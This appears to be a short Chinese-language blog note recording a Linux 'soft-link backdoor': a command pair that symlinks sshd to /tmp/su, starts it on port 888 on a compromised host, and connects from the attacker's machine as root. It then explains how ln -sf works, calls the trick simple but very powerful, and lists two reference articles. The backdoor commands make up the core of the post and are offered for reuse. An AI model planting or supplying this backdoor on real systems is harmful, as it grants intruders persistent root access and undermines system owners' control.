今天在看某牛的博客时看到的linux一句话后门,所以在这边记录一下,详细的解释看文末参考
1.1 后门代码
目标主机上执行:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=888;
攻击机上执行: ssh root@x.x.x.x -p 888
1.2 解释代码
解释一下上面的代码,ln在linux中代表“连接数据”,学过Linux的同学都知道linux中的连接有两种,一种是hard link(硬连接)另一种是symbolic link(软连接)
软连接要怎样解释呢?它就类似于windows下的快捷方式,做个软连接也就是做个快捷方式。
此处的后门代码使用了软连接,因此也被叫做软连接后门,将这段代码分开来解释,ln -sf 中ln -s代表使用软连接而不是硬连接(不加参数时是硬连接),-f:代表目标文件存在时,就主动将目标文件直接删除后再创建,ln的语法为:ln 【-sf】 源文件 目标文件,因此代码时首先做一个软连接,结果给/tmp/su ,后面是开启了888端口。
此处需要注意的一点是在攻击机上运行代码时如果是Ubuntu系统或者不是root登录时此处的root需要替换为当前用户(我在Ubuntu上测试的得这样),具体截图就不贴了,很简单但威力巨大!!
下面是参考文章,这两篇文章里详细介绍了其实现的原理
参考文章:
https://www.cnblogs.com/sevck/p/6495884.html
http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/